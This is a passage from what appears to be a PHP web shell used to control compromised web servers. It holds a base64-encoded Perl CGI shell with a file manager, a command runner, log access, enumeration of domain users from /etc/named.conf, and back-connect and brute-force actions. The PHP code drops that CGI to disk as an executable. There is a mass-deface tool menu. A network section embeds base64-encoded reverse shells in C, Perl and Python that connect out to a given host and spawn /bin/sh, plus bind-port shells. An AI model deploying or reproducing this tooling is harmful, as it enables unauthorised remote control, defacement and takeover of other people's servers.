ByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+PGEgaHJlZj0namF2YXNjcmlwdDpyZXR1cm4gZmFsc2U7JyBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKVwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJCSRmID0gJHBhdGguJGY7CgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsKCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgT3BlbiBTYW5zOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGRvbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDU+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgT3BlbiBTYW5zO2NvbG9yOiAjZmZmZmZmOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IE9wZW4gU2Fucztjb2xvcjogI2ZmZmZmZjsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJwoJCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC13ICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsKCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikKCQkJewoJCQkJaWYoLXIgJGxzKQoJCQkJewoJCQkJCSRwZXJtcz0iT0siOwoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOwoJCQkJfQoJCQl9ZWxzZQoJCQl7CgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQkJfQoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ18kaScpLnZhbHVlPSdsZXNzICcgKyB0aGlzLnZhbHVlOyIgdmFsdWU9IiRsb2ciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoISgkY2htb2QgZXEgMCkpCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7CgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZighJHJlbmFtZSBlcSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CgoJcHJpbnQgJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOw==";\r\n\t$cgi = fopen($file_cgi, "w");\r\n\tfwrite($cgi, base64_decode($cgi_script));\r\n\tfwrite($htcgi, $isi_htcgi);\r\n\tchmod($file_cgi, 0755);\r\n        chmod($memeg, 0755);\r\n\techo "<br><center>Done ... <a href=\'priv_cgi/cgi.priv\' target=\'_blank\'>Click Here</a></div>";\r\n\thardFooter();\r\n}\r\n\r\n\r\n// Mass Deface Section Start\r\nfunction actionSql() {\r\n\thardHeader();\r\n\techo "<center><h1>Mass Tools</h1><div class=content><br>";\r\n\r\n\techo "<br><center> <iframe frameBorder=0 src=\'?mas\' width=\'800\' height=\'450\'></iframe></a></div>";\r\n\r\n\thardFooter();\r\n}\r\n\r\n// Mass Deface Section END\r\n\r\n// Back COnnect SEction\r\nfunction actionNetwork() {\r\n\thardHeader();\r\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\r\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\r\n\t$pyy="IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";\r\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n\techo "<center><h1>Network tools</h1><div class=content>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input 